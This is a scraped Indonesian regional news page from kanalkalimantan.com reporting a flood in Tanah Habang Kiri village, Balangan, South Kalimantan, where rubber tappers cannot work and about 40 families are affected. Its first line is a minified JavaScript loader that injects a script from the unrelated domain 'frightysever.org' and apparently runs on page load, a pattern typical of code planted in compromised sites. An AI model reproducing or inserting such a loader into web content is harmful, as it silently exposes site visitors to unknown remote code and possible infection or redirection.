(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Balangan

Banjir Masih Ancam Balangan, Warga Tak Bisa Sadap Karet


KANALKALIMANTAN.COM, PARINGIN – Musibah banjir masih menjadi momok di kawasan Banua Anam (Hulu Sungai), Kalimantan Selatan.

Sejak Rabu (2/12) kemarin, banjir menggenang di Desa Tanah Habang Kiri RT 3, Kecamatan Lampihong, Kabupaten Balangan.

Informasi yang dihimpun, banjir diakibatkan curah hujan yang cukup tinggi dalam beberapa hari terakhir. Tak hanya itu, banjir yang menggenang merupakan air kiriman itu, membuat desa yang berada sekitar 4 kilometer dari jalan raya terendam banjir, dan berdampak pada aktivitas warga.

“Banjir ini sangat berpengaruh ke warga, terlebih lagi sama saya pribadi penyadap karet. Kalau banjir begini ya terpaksa tinggal di rumah saja. Penghasilan pun cuma 3 hingga 4 kg sehari, belum lagi dibagi sama pemiliknya,” ucap Risfah, warga setempat yang terdampak banjir.

 

Sejak Rabu (2/12) kemarin, banjir menggenang di Desa Tanah Habang Kiri RT 3, Kecamatan Lampihong, Kabupaten Balangan. Foto: act kalsel for kanalkalimantan

Ditambahkan Muhammad Arsyad, relawan MRI-ACT Kabupaten Balangan, banjir yang menggenang di desa yang diapit oleh Sungai Balangan dan Sungai Tabalong ini masih memperlihatkan adanya kenaikan, kendati tidak begitu signifikan.

“Alhamdulillah, warga masih memilih bertahan di rumah karena banjir yang masih belum memasuki rumah mereka. Akan tetapi warga diminta lebih waspada apabila terjadi hujan lebat yang dapat menyebabkan banjir terus meningkat,” tutur Arsyad.

Sejak Rabu (2/12) kemarin, banjir menggenang di Desa Tanah Habang Kiri RT 3, Kecamatan Lampihong, Kabupaten Balangan. Foto: act kalsel for kanalkalimantan

Ditambahkan Arsyad, banjir diprediksi akan surut, jika tidak ada hujan dan tidak ada banjir kiriman dari daerah tetangga. “Tapi aktivitas warga masih belum normal,” pungkasnya.

Berdasarkan catatan dari MRI-ACT Kabupaten Balangan, sedikitnya ada 40 kepala keluarga (KK) dan 177 jiwa yang terdampak musibah banjir. Selain meninjau lokasi, tim pun juga mengevakuasi beberapa warga yang terdampak banjir.  (kanalkalimantan.com/act kalsel)

Reporter : act-kalsel
Editor : kk

Al Ghifari

Recent Posts

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

3 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

5 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

7 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

7 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

9 jam ago

Eksportir Kalsel Didorong Kirim Produk Lewat Daerah Sendiri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Wilayah (Kanwil) Direktorat Jenderal Bea dan Cukai Bagian Kalimantan Selatan (DJBC… Read More

10 jam ago

This website uses cookies.